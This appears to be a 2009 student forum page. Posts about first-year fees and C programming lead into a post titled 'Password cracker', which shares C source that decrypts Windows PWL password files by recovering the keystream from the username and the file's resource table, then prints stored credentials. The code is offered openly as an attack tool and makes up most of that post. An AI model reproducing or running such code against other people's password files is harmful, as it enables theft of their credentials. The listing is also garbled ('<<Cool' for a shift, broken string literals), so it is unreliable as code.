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Wed May 27, 2009 11:39 am by krazzy

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Poll
What should be the fees range for first year?
200000-300000
80%
 80% [ 4 ]
300000-400000
20%
 20% [ 1 ]
400000-500000
0%
 0% [ 0 ]
Total Votes : 5
Hami first year ko frees kahile ghat cha??????
Sat Mar 07, 2009 12:25 pm by krazzy
What should be the fees range for first year?
Oye fees chadi ghataunu paryooooo............
cheers

Comments: 1
First yer bata chunab kasle jitcha hola???????????
Sat Mar 07, 2009 12:14 pm by Admin
Oye chunab kahile hune chance cha hola????
Any body of you know about this???????????
First year ko fee kati hunu parcha hola?????????

Comments: 0
C programming kasto lagcha??????????????
Sat Mar 07, 2009 12:10 pm by Admin
You can get lab questions solved here................

Comments: 0
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 Password cracker

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AuthorMessage
krazzy



Posts: 11
Join date: 2009-03-06
Age: 20
Location: New baneshwor,Kathmandu

PostSubject: Password cracker   Wed May 27, 2009 11:39 am

# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse allocation table */

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream */
for(i=0;i<20;i++){
ch=toupper(name[i]);
if(ch==0)break;
if(ch=='.')break;
keystream[i]^=ch;
};
cracked=20;

/* Find allocated resources */

sizemask=keystream[0]+(keystream[1]<<Cool;
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data[i]!=0xff){
Rall[Data[i]]++;
if(Data[i]>maxr)maxr=Data[i];
}
}

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */

/*Search after resources */

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i<maxr;i++){
/* Find the size of current resourse */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<Cool;
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall[i]);
if((Rall[i]==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/

if(i<maxr-1){
while(Data[pos+3]!=keystream[1]){
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i]>>Cool & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);

/* Decrypt resources */
for(i=0;i<maxr;i++){
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("This software is developed By Arsalan Danish with
cooperation of Mohammad Mehdi");
");
}
exit(0);
}
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Password cracker

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